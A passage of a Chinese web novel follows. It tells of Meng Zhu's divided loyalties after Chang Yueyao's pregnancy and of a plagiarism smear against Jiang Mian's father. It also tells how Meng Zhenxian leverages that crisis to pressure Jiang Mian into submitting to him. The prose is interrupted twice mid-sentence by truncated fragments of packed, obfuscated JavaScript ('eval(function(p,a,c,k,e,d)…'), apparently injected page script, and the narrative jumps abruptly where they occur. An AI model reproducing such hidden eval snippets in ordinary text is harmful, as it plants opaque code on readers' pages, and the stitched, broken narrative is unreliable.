见女孩转过身不看自己,孟逐把人掰回来,察觉到对方要挣扎,他加重了点力气,等江绵有些不高兴地望向自己,才道:“我去见她,是因为她和徐然离婚了,徐家不会再给他们家分蛋糕,她父母想榨干她最后一点价值,让她为了弟弟送给……反正她接受不了要自.杀,常伯母他们慌了,才让我去阻止的。” “除了我,还叫了很多人。她状态很不稳定,而且那么多人眼皮子底下,你觉得我们会发生什么?” 江绵愣了愣,好像为自己先前的偏见感到羞耻般,轻轻吸了吸鼻子,“对不起,我不知道……” “不怪你,我也没说清楚。” 孟逐说到这里,其实也有点心虚。半夜的时候,常悦瑶得了梦游的毛病,他去安慰她,她就抱住了自己。她白天闹得那么凶,孟逐怕自己推开她会让她更伤心,只能任凭对方收紧怀抱。 但他确实没有碰到她哪里。 这样说,也不算完全撒谎吧。 说开以后,江绵的态度就没那么抵触了。 孟逐以为她相信了自己,心里也松了口气。 常悦瑶自.杀这段剧情,在原文里也出现过。常悦瑶是个很聪明的女孩,在两位孟氏长辈的联手排斥下,她还是和孟逐走到了一起。但临门一脚,却是很难办到的。于是她铤而走险,让父母和朋友陪自己演了这出戏。 常悦瑶的着急是有原因的。 因此,在这出戏没达到效果前,她不会收手。 而这一天,很快就来了。 傍晚时,江绵收到了工作室的消息。 她不知道孟祯先用了什么办法,但上一家婚纱店,在那天晚上以后,就再也没找过她。反而是新找的工作室,经常给她发礼服图片和视频,问她是否有中意的样式。 江绵挑选时还让孟逐做了参考。 孟逐以为还是那家店的裙子,没有怀疑。 只是偶尔停留在她脸上的目光,却有些心不在焉,像被什么事绊住了,都没注意到对面的id都换了一个。 看江绵回完消息,正要开口,孟逐犹豫了会儿,还是抢在她前面道,“我今晚有事,不能陪你去试婚纱了。” 江绵顿了顿,想到什么,“是常小姐吗?” 孟逐嗯了声,脸色有点尴尬,“她爸妈你知道的,如果我不去的话,我担心……” 已经决定好走进新生活了。但是如果不解决掉常悦瑶那边的麻烦,他的心就没办法稳定下来,这样对谁都是不公平。 “我今天肯定会在十二点前回来的。”他不习惯说这种话,但是,“上次拿来问你的话,我也有答案了。” 他不会回来的。 江绵很清楚。 她把拐杖递给他,语气柔和道:“好。” * 随着常悦瑶事态的“升级”,孟逐两头跑的次数越来越频繁。 起先,他还能守约,在十二点前回来。 慢慢的,就变成了明天十二点、后天十二点。 有时候回到医院,还以为自己在常家,把护工叫成了常家佣人的名字。 某天夜里,甚至在江绵当成了常悦瑶,在她练完球从外面回来,又以为她梦游了,条件反射将人抱起来,塞回被子里,语气困倦道:“大晚上的不要在外面乱跑,早点睡。” 闻到对方身上清凌的冷香,才陡然回神,认出来这不是常悦瑶,而是江绵。他和江绵都没那么亲近过。道歉时,不敢看她的眼睛,“不好意思。” 江绵静了片刻,“没关系。” 在这种场合下的没关系,谁都知道是客套。 孟逐知道自己被常悦瑶缠得没时间和江绵相处,对不起她,只能从别的地方加倍对她好,房车基金首饰,还有音乐生梦寐以求的演出机会。 但光是这样,还是能感觉两个人之间越来越疏离。 看着江绵和往常一样的神色,孟逐偶尔会有些恼怒。 她到底喜不喜欢自己?为什么无论他做什么她都一副能包容的样子,她就完全不吃醋吗?连吵都不肯吵了。 他已经拿出够多的诚意了。 庞杂纷乱的情绪,在见到常悦瑶时,又压了下去。 可是他并没有自己想象中那么喜欢常悦瑶了。 因为江绵而压抑的负面情绪,也像积压在胸口的石头,越累越高。 一天早晨,从常家回到医院时,孟逐想等江绵醒来,和她好好谈谈。 但迎接他的,却只有自己那张病床。屋里属于女孩的东西,都被收拾一空,消失不见了。 “江绵呢?” 他转向护工,语气掩饰不住的焦躁。 “孟少忘了?”护工用“你是不是喝多酒”的眼神看了他一眼,“上周五您回来的时候,江小姐就说她家里有事不能再陪床了,当时您不是答应了吗?” 他自己白拿工资倒是没什么,但江小姐是出于照顾来的,她要照顾的对象成天不呆在病房,在医院也没事干,只是浪费时间,家里有事当然要走了。 孟逐恍惚了好一会儿,才想起来好像有这件事。 但他当时被常悦瑶烦得一整晚没睡,困得要命,什么都没听见。以为她说要出去拿东西,就应了声,谁知道她说的不是拿东西,而是回家啊。 孟逐差一点就要问护工知不知道江绵住在哪,好在他这次没有昏头,在对方露出更加谴责的目光前制止了自己。 “我知道了。” * 孟逐以为江绵说的家里有事只是托词,没有立刻去江家找她。事情已经这样了。他想尽快结束后,再去见她。不然和好后还是要两头跑,再稳固的感情也会出现裂缝。 但其实不是。 江家确实遇到了点麻烦。 江绵的父亲江远庭被几名学生同时指控剽窃了他们小组成员共同创作的,准备用以参加施伯司国际钢琴比赛的原创乐曲。 施伯司赛事级别不高,但也在九大国际赛事中拥有一定含金量。 而江远庭,正是他们的指导老师。事件曝光后,这几人里,除了江远庭还有些知名度外,都是名不见经传的学生,外界对施伯司这种专业赛事也不了解,只有个别业内相关人员和学生在评论区科普,按理说,不会引起太大的关注。 但是,不知道是平台算法还是什么原因,事件被大量营销号转发,铺天盖地的宣传起来。事情发酵后,施伯司在他们的形容中,变成了专业级别超强,对作弊不能容忍,赛事成绩深远到能影响终生成就的大型赛事,而被剽窃作品的那些学生,与拥有社会地位的教授相比,自然是毫无疑问的弱势群体。 这个小世界,经常有被导师逼到走投无路的学生。很容易让人联想到过往的案件,自然也得到了更多的同情。 这是很正常的,但他们指认的剽窃段落,从专业角度而言,其实根本站不住脚。网友并不这么认为,只要听起来稍有相似,便一窝蜂认定了那就是剽窃,为江远庭讲话的学生也被打成了狗腿。 江绵的父亲毕竟是个有点年纪的老人,再加上妻子刚走不久,就遇到这种事,一气之下,接受了学院的安排,停职休假。 江绵回家住了几天,他心情倒是好点了,不过剽窃的阴影笼罩在头上,连饭都少吃了点。请到家里的律师说官司倒是好打,可是后续的舆论不好处理,对面显然有专业的推手。 看他怎么取舍。 江绵听完,找了个借口把江父支开,单独问律师,“如果不告学生,告背后的人,成功的可能性大吗?” 律师考虑了会儿,说:“可行倒是可行,就是收集证据方面,可能有点……” 江绵明白了。 把人送走后,她去见了楚沛。 自从那天被孟逐撵走后,楚沛就每天待在店里。他本来就是那种很有人气的个性,脾气好,会来事,有他常驻,店里的营业额都比平时翻了几翻。 只是在店里时,他打扮比较花哨。 不认识的人,还会把他也当成气氛组成员。 楚沛不介意被认错,他其实很享受这种没人认识自己的感觉,毕竟大部分时候,认识他这张脸的除了要他帮忙办事的,就是想借他往上爬的,不管是哪种类型,都不会令人太愉快就是了。 侍应生将江绵领进来时,楚沛正在和一桌人玩桌游,不知抽到哪张牌,对面一个漂亮妹妹便在起哄声中笑嘻嘻地凑过来,大方地亲了下他的脸,楚沛正要扬起笑容,就看到了站在门边的江绵。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可他还不敢直接对上男主,她又在陪床,找不到下手的余地,于是就挑中了江父。徐家再怎么落魄,依然是松城上流社会的一员,而江远庭却只是个有点社会地位,又没背景的普通人。拿老丈人来羞辱孟逐,是最容易最不费力的选择。 楚沛刷到过江绵说的新闻。 营销说只说是松音的江教授,没报真名,松音那么多教授,他下一秒就刷走了,没想到他们骂得火热那个人就是江绵的父亲。 这么听完,还真有可能是徐然干的。 但楚沛没有马上答应,而是道:“我帮你问问看吧,有线索了再跟你说,今天太晚了,我先送你回去。” 他拿浴巾擦了擦头发,故作不经意道:“你现在住哪?” * 夜里下起了雨。 这是入夏前最后几场雨,孟祯先坐在办公桌后,抬眸望去时,发现楼下庭院里的玉兰已经凋谢得差不多了,紧挨着的栀子倒是在雨水的润泽下,变得洁白娇艳起来。 比起玉兰,栀子的香味更浓烈更喧嚣。 二楼开了一条窗缝,都能透过雨水闻见它甜蜜馥郁的气味。 不远处有青蛙有节奏地咕咕声。 管家将修好的球杆挂到储藏室里,然后走到书房,“孟先生,晚饭已经做好了,您现在要用还是过一会儿?” 孟祯先今天起得晚,此刻还没什么胃口,但同样没胃口的人,恐怕不止自己一个。 他对管家道,“打包一份装进来。” 管家闻言,以为他要带去公司吃,答应一声,下去了。 孟祯先转过脸,继续看向屏幕。 等忙过一阵,才起身去换了衣服。经过储藏室时,他挑了一只新球包,将那根曼佛球杆装好,换了个地址让人寄出去。 八点一刻,孟祯先抵达了球馆。 江绵并不是风雨无阻都来上课,只是时间观念很强,不来时会请假。 孟祯先走进室内场馆时,看到她坐在长椅上系鞋带,马尾垂下来,遮住了一半的脸。没有化妆,眉眼有些倦怠,像是这几天没有休息好。唇角也抿得很紧,见到自己,仍然牵出一点笑容,“周教练。” 孟祯先点点头。 他换了黑色的运动服,话一少时,比往日看起来更加沉闷。但江绵好像没注意到,她只是默不吭声跟着他上课,临到最后几分钟时,才道:“教练,我以后不来了。” 孟祯先:“和男朋友分手了?” “没有。”江绵说,“我觉得我学得差不多,可以出师了。” 孟祯先放下球杆,打量了眼江绵。 从客观的评断看,江绵打球的水平、姿势还是在刚入门的范畴。 就连说“出师”的这会儿,她挥杆的动作也不算标准,手臂抻得太直,扭腰的幅度又大,容易伤到胯。这让他想到了一些不合时宜的画面,尽管她今天穿的是一件宽松的运动服长袖,下摆盖住了腰线。 但人想要记住的东西,总是很难忘记。 当然,如果孟祯先真是这家球馆的教练,这时候应该推荐她报中级班,鼓励在这方面毫无天赋的女孩花钱考证给自己镀没必要的金,但他不是。 而且,火候也烧得差不多了。 他挥出一杆,眺望着那颗三层球顺着果岭,滚入洞中,不温不火道:“可以。” 17. 过渡品 江绵搬回去以后,孟逐才发现在医院的时间居然有那么漫长。 不管是复健、打游戏、故意找护工的茬,都没办法加快时间的脚步。独自躺在床上时,他都想穿越回那个周五,把人留下来,但这是不可能的,他心里也清楚。 就算江绵生气他两头跑,也不会拿家里开玩笑,多半是真的遇到什么麻烦。 他倒是有心想问问,但每天回来太晚了,他估摸江绵都睡下了,白天又被常悦瑶缠得没不出精力想别的事,等再想起来时,他已经办完出院手续,正在陪常悦瑶去科室做检查了。 干脆趁这个时间给江绵打个电话吧。 靠在科室外的墙上,看着通讯录上的名字,迟疑了很久还是没有按下,他对她是有埋怨的,他没空找她,她就完全不联系自己吗?明明才说过要重新开始吧? 正想着,身后的门就推开了。 一个穿紧身裙,长相明媚张扬的年轻女人拿着亲子鉴定的报告,从里面出来。见到自己,她绽开笑容,小跑过来,给了他一个拥抱。 孟逐已经没有拄拐了,但还是被突然而来的冲力撞得一个趔趄,好在背后就是墙才没有摔倒。 他把手机灭屏,放回口袋,顺手推开女人,“悦瑶,你小心点。” 但常悦瑶似乎还沉浸在刚才收到的好消息中,被推开后,仍然语气轻快地道:“孟逐,我们马上就要当爸妈了,你高不高兴?” 虽然早就知道可能是这个结果,但听到消息地刹那,悬在头顶的达摩克利斯之剑还是落了下来。 孟逐扯了下嘴角,笑容有些勉强,“高兴。” 孟逐是在第二次去常家时得知常悦瑶怀孕的。 当时他刚翘掉陪江绵试婚纱的约定,正在考虑买点什么当赔礼,听到常家人提起这件事,还有点没反应过来。 怀孕了,然后呢? 他都没听懂对方的暗示,还以为常悦瑶怀了徐然的孩子,他们家里才急着让她找个人结婚,她才那么想不开。 毕竟之前见面时,常悦瑶还跟他说自己爱上了徐然。 徐家现在这个鬼样子,徐然又跟陈副董的女儿在一起了,常悦瑶不高兴再婚也正常。 直到常家人反复说她不肯引产,也不肯说出孩子父亲是谁,还是三个月前怀的,他才意识到什么。 那个时间是常悦瑶刚回国的时候,也是他失忆前夕。 常家人找他,根本不是让他来安抚常悦瑶的情绪,而是怀疑他是孩子父亲。 孟逐差点没当场发作。 “有没有搞错,我什么时候和——” 他想说自己没碰过常悦瑶,就想起失忆的事。他连这几年发生的一切都不记得了,再忘记下和常悦瑶做过的事,也没什么不正常。 可是,那个时间,他应该还在和江绵交往吧。 孟逐不觉得自己会做出在交往期间出轨的事。 抱着这丝希望,他一次次往返于常家和医院之间。 没想到真是他的。 现在怎么呢? 孟逐本来还想着等常悦瑶这边的事解决,就去找江绵解释。她那么爱他,一定会理解他的。可是现在多出一个孩子,就算江远庭再疼江绵,也不会容许女儿嫁给一个恋爱期间把别人肚子搞大的混蛋。 他此刻有些茫然。 “孟逐,你说我们要不要找个时间办酒?”常悦瑶摸了摸尚未隆起的小腹,满脸幸福地道,“一定会有很多人愿意给他当干爹干妈的。” 孟逐:“随你。” 他敷衍的态度太明显,常悦瑶的笑容立刻就凝住了,“你不开心?” “没有。” “说谎。” 孟逐抿了抿唇,别过脸,“我只是觉得,没有必要办酒。”他找了个借口,“老人不是说吗?三个月是最容易流掉的时候。” 哪有刚得知自己当爹就咒小孩死的? 当她看不出他在想什么是吧。 常悦瑶心里怄得不行,但面上还是笑道,“我知道你体贴我,但是这孩子,总要给他一个身份吧?” 她顿了顿,语气试探道:“孟逐,你不会还想着你那个女朋友吧?我知道她是无辜的,可是我就有什么错吗?那天晚上,明明是你……” “别说了。” 孟逐打断她。多出一个孩子本来就够心烦了,他压根不想听他毫无印象的事,见常悦瑶又要露出那副受伤的神色,他才意识到自己话说重了。 “我会担起责任的,至于别的,以后再说。” 有他这句话,常悦瑶就放心了。 她正要闭嘴,余光就瞥到拐角处出现一个有些眼熟的背影,眼珠一转,提告音量道:“那你还会跟她结婚吗?我,可不想让这个孩子成为私生子。” 孟逐嗤笑一声,“结婚,我没病吧。” 他的意思是,那又不是他想结就能结的,但在外人听来,不像这个意思,倒像在讽刺另一个女人在痴心妄想了。 常悦瑶满意地看着那道身影晃了晃,受不了打击般,连撞几个路人,跌跌撞撞朝电梯口跑去。 她收回视线,正要和孟逐说那他们赶紧回家,把这个好消息告诉二老,就看见青年好像察觉到什么,回头看了眼身后,旋即便向失了魂般,挣开自己,快步朝女人冲去。 “江绵,你跟我站住——” 江绵来医院是过来走剧情的。 剽窃事件越演越烈,网友把江远庭扒了个干净,官网的举报热线每天都在响,江父没有社交平台,唯一几首代表作的评论区持续沦陷,全是谩骂和攻击。 不过半天,发行公司便将歌曲下架隐藏。 江父作为教授,常年资助着几名贫困生。有学生从中看到了爆红的机会,出面和他划清界限,得到了无数鼓励和关注,就连以前江教授长江教授短的同事,也不愿帮忙说话。 江绵身为他的女儿,也是逃不过的。 孟逐和她交往时,接送都开的豪车,给她塞的几个演出机会,也是直接让人从其他学生那里抢来的,虽然她没有接受,但那些被抢名额的学生不可能不怨恨。 再加上她这几个月很少去学校,只有考试周露面,一时间,各种谣言应运而起。 前面的那些中伤、背刺、虽然让江父有些难受,但都还扛得住。 他活了大半辈子年轻时也是吃过苦的,直到他们扒出了年初离世的妻子,用同样的恶毒评论对准她时,终于气不过注册了账号上线和网友对喷。 但是常年生活在象牙塔的老人,玩不转日新月异的互联网,被骂得体无完肤后,一气之下,终于倒了。 这几天,江绵都忙得要命。 一边找律师收集网暴证据,一边找楚沛询问进度,另一边还要照顾江父。要不是江父的老朋友就是医生,亲自过来问诊,江绵都抽不开时间出门。 紧赶慢赶,好在没有错过这段“亲子鉴定”剧情。 和原文中一样,女主做完鉴定,就兴冲冲地告诉了孟逐自己怀的孩子就是他的事实。而孟逐在对方问起自己时,也说出了那句对她弃若敝履的台词。 现在装作伤心欲绝的样子跑出医院,让孟逐看出她已经知道他和女主有一个孩子就行。 反正有女主在,他是不会跟过来的。 之前不也是这样的吗? 然而,出乎江绵意料的是,她刚跑出不远,就听到身后传来急促地脚步声。 孟逐好像追过来了。 江绵有些诧异,正要躲进门后,就听到一道隐忍地女声,“孟逐,你走慢点,我肚子好痛。” 走在前面的那道脚步声陡然刹住,顿了几秒,还是折返回去,责备的语气带着关心,“都说了不要走那么快,要不要回去看医生?” “嗯……” 脚步声和说话声远去了。 江绵从门后走出,回到楼下。 她并不是一个人来的,而是借着走剧情的机会,答应了楚沛的邀约。 楚沛被孟逐勒令不能再出现在他面前,和江绵回去的路上,听说她要去找孟逐,倒是没有反对。只是等在车里,趁这个时间整理发型。 上次江绵来过以后,楚沛的确开始上心起来。 他以为只是简单的师生矛盾,但查来查去,却什么都没查到。 这种四处碰壁的感觉,他已经很久没遇到了。徐然是不会有那么大能量的,他和那位陈小姐,据说还没得到陈家认可,人家也不会陪着他胡闹。 不过,楚沛倒是从之前被他撵出圈子的那个男网红那里得到了消息。那个网红大概找了一圈,终于发现自己被排斥的源头在自己这里,拿着徐然的近况来投诚。 楚沛转头就把消息卖给了江绵。 他以为江绵是要就她家里的事向孟逐求助,肯定要谈好一会儿,就趁这个时间坐在车里整理发型。 没想到刚下去不到十几分钟,人又上来了,脸色却比去之前白了几个度,好像撞见了什么不该撞见的场面,整个人都失落了不少。 但孟逐一个人待在医院有什么不能给江绵看的,楚沛想不通,就听到江绵的手机响了。 来电显示赫然是孟逐。 他看了眼屏幕,正以为江绵会接,就看到她挂掉了。 不过几秒,再次响起。 楚沛看着她按掉了不知多少次,最后拉黑关机,才看向自己,嗓音有些紧绷,好像怕泄露自己的情绪,“可以直接回家吗?” 楚沛是那种很会察言观色的类型,早在江绵第一次挂断孟逐的电话时,他就品出了什么。 更被说那么多次了。 闻言,他仿佛没有注意到先前那一幕般,语气愉快地道:“当然。” * 打不通江绵的电话,孟逐烦躁得抓了抓头发。她看到的不是真的。不对,她看到的是以前的他做的事,跟现在的他没关系。 孟逐想这么解释,但消息没有发出去。看着上面的红色感叹号,他的眼睛一下子红了。 她居然把他拉黑了! 他们之前吵那么凶她都没有把他拉黑过! 孟逐蹭地起身,正要往外走,手就被按住了。 常悦瑶靠在床上,眼里满是担忧,“孟逐,你要去哪?”那个表情,好像以为他要临阵脱逃。 孟逐:“……” 是了,他现在不是一个人。他是常悦瑶孩子的父亲。 为什么偏偏是他? 孟逐坐了回去,头痛地按住额头。 现在该怎么办? 江绵肯定恨死他了,一想起她刚才那张错愕的面庞,孟逐就忍不住幻视他的梦。 他的梦和现实越来越重合。 可是他却不敢睡觉了。 他不想通过梦去了解他和江绵的未来,未来…… 孟逐苦笑,他们还有未来吗? 想到什么,他拉下常悦瑶的手,说:“我出去抽个烟。” 常悦瑶直觉这不是他的本意,但还是放他去了。她看得出来,他这次没有离开的想法。 她和孟逐都是长相出色,打扮不俗的年轻人,给她输液的护士很少见到这么般配的年轻夫妻,随口夸了一句,“你们感情真好。” 常悦瑶摸了摸小 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“说吧。” 孟逐把事情从头到尾说了一遍。 他隐去了被江绵撞见她陪常悦瑶去取亲子鉴定的事,只说她误会了自己,现在不知道怎么解开这个误会。 孟祯先沉吟片刻,“这是误会?” 孟逐抿了抿唇,没有说话。 就是因为不是,但他又不记得了,才那么焦虑的。 “爸,我不想失去江绵。你以前也遇到我这种情况吧,你能不能告诉我该怎么平衡?” 孟逐不知道,他爸没有陷入过这种情况。他这辈子没有和女人发生过关系,自己是从天而降的,他只是被迫承担起抚养的责任。做不到感同身受。 出于某种未曾被察觉的私心,反过来道:“我怎么平衡的,你不知道吗?” 孟逐:“……” 孟逐浑身一震。 对啊,他怎么会不知道。 他都坐在这个位置了。如果他爸当初没选他,现在坐在这里的就是别人。 孟逐脑子里乱糟糟的,一会儿是江绵,一会儿又是常悦瑶的产检单。 “我……我不知道……” 孟祯先看他这样,知道他一时半会儿弄不清楚,将电脑关机,起身道:“想清楚了,给常家那边说一声。” 孟逐抬起头,以为他爸要帮他解决,就听对方语气平淡地道:“毕竟要当亲家了,还是得提前碰个面。” 孟逐:“……” 他再次按住了头。 孟祯先将办公室让给他,叮嘱刘秘书记得给孟逐订餐,就去赴合作商的酒局了。 孟祯先对酒局并不抗拒,毕竟做这一行,很多生意都是在酒桌上谈下的,早年在业务部干的时候,他当过几年销冠,酒量就是那时候练出来的。 只是连着几天的酒局,还是有点吃不消。 吃了解酒药,睡到第二日下午,收到礼服店的消息,还是过去了。因为意识昏沉,在见到女孩尖叫着丢开礼盒里血淋淋的断手,慌不择路地奔进自己怀里时,顿了顿,才揽住对方,“怎么了?” “那个……” 江绵的嗓音抖得像在筛糠。 孟祯先想让她退到身后,走过去看一眼,但江绵紧紧攥住了他的衬衫,他只好退而求其次,捡起地上的断手看了眼,发现那只是一根沾了鸡血的仿真硅胶模型手,只是断开处的青紫血管、还有手掌纹理画得和真的很像,乍一看,真的容易认错。 但仔细看就会发现摸起来和真人的手不太一样。 孟祯先把断手放进礼盒,看向站在一旁满脸惊恐的化妆师和几名助理,“你们店里的?” 别说近距离接触断手的江绵了,化妆师远远地看一眼也被吓懵了。被孟祯先问起,才回过神来,连忙摆手,“不是我们店的,我也不知道怎么来的。” 她给江小姐化完妆,就让助理去拿要用的首饰,那套首饰他们之前设计时就搭配好了的。谁想到打开来里面不是首饰,而是断手。 “孟先生,这不是我们店里的东西。” 她们又不接特效妆,做这种断手干什么。 她倒是怀疑是同行抢生意,可这会儿说出来未免有为自己开脱的嫌疑,首饰不见了才是最大的问题,说完就着急忙慌去找老板去调监控报警了。 孟祯先看向江绵。 和上次在球馆见面时不同,她今天花了很精致的妆,这家礼服工作室招的化妆师技术高超,放大了她的五官优势,让她此刻看起来宛如开在莲叶深处的白荷般清丽幽静。 她穿着他精心挑选的礼服中的一件,薄若云翳的欧根纱拢住了她雪白的肩,在起伏美好的胸前被更为挺括的织锦面料覆盖,压出优雅细致的斜纹风琴褶,沿着折角清晰的腰身蜿蜒而下,用白色的珍珠和碎钻点缀其间。不论是剪裁、还是面料,比上次在那家婚纱店时,她穿的那身婚纱合适得多。只有穿成这样,才配得上她的气质。 孟祯先心道。同时,他又感到隐隐地不快。那只断手把本该正常的流程都破坏了。将人带回车上,察觉到女孩还在颤抖,他让司机先下车,自己送她回家。 开到江宅前时,一阵压抑地、细微地泣声从孟祯先身侧响起。那阵声音不大,像从车窗外面传来,又像他臆想出来的。毕竟江绵在他面前,从来没有真的哭过。即便在葬礼上,也只是眼圈有点红,仅此而已。 但当他熄了火,打开头顶的车灯时,才发现那不是幻听。 18. 过渡品 江绵蜷缩在座椅上,如瀑的长发垂下来,盖住了大部分光线。 她捂住脸,脑袋微微低着,陷在一团朦胧的阴影中,看不清神情,只能听到比循着光亮扑向车窗的飞蛾大不了几声的细弱啜泣。 在见到那只用作恐吓的模型手时,她的情绪就很不好了。 这会儿突然的爆发,却显然并不是全然由于那只模型手的缘故。 孟祯先听得出她真正崩溃的原因。 他抬起手,重又关了车灯。 在很多时候,黑暗都会令人生出恐惧,但在这种时候,他想她最需要的就是黑暗。 果然,一旦看不见彼此,江绵的声音果然放大了一些。 她专心致志地哭着,好像要想把加注自己身上所有的委屈都宣泄出来,以至于没有注意到车们什么时候打开的,他什么时候下的车。 等她反应过来时,整个人已经被拉入一片柔软干燥的布料中,隔着迅速被水渍打湿的单薄衬衫,能清楚地感受到男人肌理分明的腹部。 和在电梯那天不小心挤到的那天,感受到更清晰更分明,远高于自己的体温隔着濡湿的布料一清二楚地传到颊边,化作了灼人的热度。 和着身上不知名形似桧木的香气,将她原本就被暖气熏得发热的面颊烫得连耳后都烧了起来。 “孟、孟叔……” 女孩哽咽着想要躲开,但掌住后脑勺的大手堵住了她的退路。 大约是察觉到他没有趁机要做些什么的意思,僵持了片刻,还是任由他压住自己的脑袋,宛如小型啮齿动物般一口咬住他腹前的衬衫,放肆地低声呜咽起来。 孟祯先摸着女孩的头,耐心地等她发泄完。 江绵的发质冰凉顺滑,手感很好。很难想象拥有这么一头柔顺长发的人,个性有那么顽固。 他以为她会更早一点崩溃,在得知自己照顾了几个月的男友陪初恋去拿亲子鉴定的时候; 在父亲被诬陷剽窃,举证无门的时候;在舆论波及到自己,去学校都要面对师生敌视的时候; 在更早以前,被失忆的孟逐视作攀附名利的时候…… 她能坚持到现在,已经出于他的意料。 孟祯先垂眸看着这颗黑漆漆的脑袋,等她把他的衬衫折腾得一团糟,终于舍得抬起脸来,犹豫不决地望着自己,才缓声道:“只是一只模型手,哭完就别去想了。” 他刻意忽略掉真正压垮她的根源,语气随意地道,仿佛对近期发生在江家的事毫不知情。 但这怎么可能呢? 大公司对舆情的关注比普通人敏感得多,何况那个被推上风口浪尖的人不是别人,而是他去吊唁过的未来亲家。 这么说显然是要隔岸观火,不打算插手的意思。 江绵嘴唇嗫嚅,好像想说点什么,但触及到自己的视线,又闭上了。 看起来这段时间她没少经历这种失望,几乎快习以为常了。 轻轻嗯了一声,便哑着嗓子道:“孟叔,我先回去了。” 她从车上下来,就要朝门口走去。 孟祯先站在车边,看着女孩逐渐远去的,抑制不住失落的背影。 生意场并不总是一帆风顺。很多时候,不是和谁的交情够硬,疏通的关节够多,本钱越丰厚,就能得到应有的回报。 过去的经验告诉他,没有什么机遇更重要。这个机遇,有时候是某个风口,有时候是某个人,有时候则是某个时机。 现在很显然是后者。 错过这个时机,就要花更多的时间和力气绕路。 而孟祯先不喜欢绕路。 “江绵。” 在她回头望来时,语气不变地道,“不想问我,今晚来的人,为什么不是孟逐吗?” 女孩睁着眼,睫毛和脸颊都湿漉漉的,目光有些迷惘却唯独没有错愕。 “他有事要忙。” 明知道对方不来的真相,还在努力为他找借口的样子,看起来天真得有些可怜。 但孟祯先又怎么会容许离陷阱只有一步之遥的女孩继续躲避呢。 “是在忙,还是根本就没人通知他换店的事?” 江绵并不是在感情方面十分愚钝的类型,不然也不会在见过常悦瑶以后有那么激烈地反应了。 因而,在听到自己这么说以后,脸色立刻凝住了。 “我以为您会说……” “你这么认为,”孟祯先一步步朝神色怔忪的女孩走近,深潭般的黑眸定定地注视她,“你怎么会这么认为?” 江绵似乎想过那个可能,但没想过他会在这个时候说出来。 或许她还对自己抱有一丝不切实际的希望,希望他只是临时起意,经过这么长时间的断联能冷静下来。 但她不知道周威和自己就是同一人,也没发现过孟逐从来没有陪她试过一次婚纱,所以孟祯先不怪她。 但他需要一个肯定的回复。 “回去以后,最好不要让江教授知道今晚在礼服店发生的事。” 孟祯先用一种身为长辈才会有的,宽宥而体谅的口吻道,“听说江教授告了病假,这个年纪还在一线工作的人,本来就爱操心,病中更容易想太多。你作为女儿,还是要多担点心,毕竟……” 他走到女孩面前,捻开她黏在颊边的碎发,捋到耳后,状似不经意道:“你母亲年初才刚走。” 江绵倏地抬眸,像从未认识过自己那样错愕望来。 她的脸上从来没出现过那么丰富的情绪,受伤、惊痛、不可置信……同时交织在一起。 但她终归是个聪明的女孩子,不需要太过激烈的手段就做出了正确的选择。 她眼睫颤了颤,最终还是接受了他强势插.进自己指缝的宽大手掌,没再抵抗。 * 弘光介入后,原本如火如荼的事态陡转直下。 楚沛本来还费了老大力气说服了那个男网红指认徐然,正在踌躇满志等待和江绵下一次的约会,就发现用不着自己了。 那几名学生在法庭上承认了自己被人买通发布视频污蔑导师剽窃的事,他们的辩护律师脸都黑了,撑着病体前来的江父也被这峰回路转的一幕弄懵了。 整个事件反转得太快,堪比坐过山车。大部分网友都对这次庭审不买账,认定是江家找了关系,但是二审时那几名学生中领头的那位被判了九个月,其他学生取得了谅解后,就没人这么说了。 两次庭审中间需要一点时间,而这是个信息爆炸的世界,在没有助推的情况下,没人会为过时的新闻停留哪怕一秒,施伯司方面也不想被这种负面官司影响,发现网上有了正常的声音后,立刻做出了相关回应。 连发行公司也在无人在意的角落,悄悄重新上架了江远庭署名的曲目。 之前被那些水军压到后排的松音学生,也开始发声。 甚至那只模型手,也不知被谁翻了出来。不过几分钟后,又被删除了。 就算是楚沛也自认做不到这个程度。 他顶多能帮点小忙,以为是孟逐出手了,不由在心里对他们的感情重新做了评估。 去参加常悦瑶他弟组的局听他炫耀才知道,孟逐出院后一直往常家跑,压根不知道江绵家里发生的事。江远庭胜诉的事,还是别人跟他说的。 那就奇怪了。 不是孟逐还能是谁? 倒不是楚沛看不起江绵,就是他自己碰上这种事都要惹得一身骚。 现在江家不仅打赢了官司,还赚回了一边倒的舆论,不投个几百上千万是做不到的。 别说江家了,他也拿不出这么多流动资金。 不过,常悦瑶弟弟的话倒是引起了他的好奇。 “常学姐和孟少什么情况?” 常悦瑶弟弟笑容隐秘,“这个嘛,等确定下来,会通知你们的。” 楚沛切了一声。 嘴上这么说,心里倒是惦记起来。他看这小子那么自信,觉得孟逐多半又是和常悦瑶复合了,这个可能性还是很大的,毕竟他以前那么喜欢常悦瑶。 他被孟逐撞见那一幕后,也没有完全跟人断交的念头,暗地里还在拐弯抹角地托人帮自己说好话。 常悦瑶的弟弟就是其中之一。这个方法还是见效的。 因为没过多久,孟逐就重新联系了他。 楚沛是做好了帮人解决烂摊子的准备,但听到对方说完,还是露出了伤脑筋的神情。实际上,如果对面不是孟逐,他都想骂人了。 “你和常学姐——你什么时候——” “要是知道我还问你干嘛!” 孟逐的状态看起来很差劲,常悦瑶的弟弟说他经常来家里看他姐。 楚沛想象中他这会儿应该是春风得意的样子,毕竟都在两个女人间做出决定了,但他现在的样子,没有一点愉快的意思,反而气压低得要命。 “帮我拿个主意。” “什么?” “我常家现在一副吃定我的样子,可是我根本不记得那些事,”孟逐抓了抓头发,语气烦躁,“反正我不可能……” 他看了眼楚沛,换了主语,“楚沛,如果是你,你会怎么做?” 楚沛:“……” 这就埋汰人了么不是,他再怎么样也没让人未婚先孕过。 他琢磨了会儿,问:“要不你问问江绵?” 他是觉得江绵不可能同意婚前就有私生子女的,这样以来,也好让孟逐断了念想。 但对方闻言,气压却更低了。 “她提了分手,然后把我拉黑了。” “?” 孟逐说了在医院撞见江绵的经过,楚沛听着听着,忽然感觉有点耳熟。 他想了想,这才想起原因。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但次数一多,对方的行为越来越光明正大,连家里的阿姨都发觉了不对劲,他才不得不正视起这个问题。 江绵没有找其他人,而是找了前男友的父亲,在弘光有实权的那个男人,还是在他官司缠身的时候,稍微有脑子的人,都能联想到内里的原因。 他没有去问女儿,如果她真的是被强迫的,自己去问就是二次伤害。 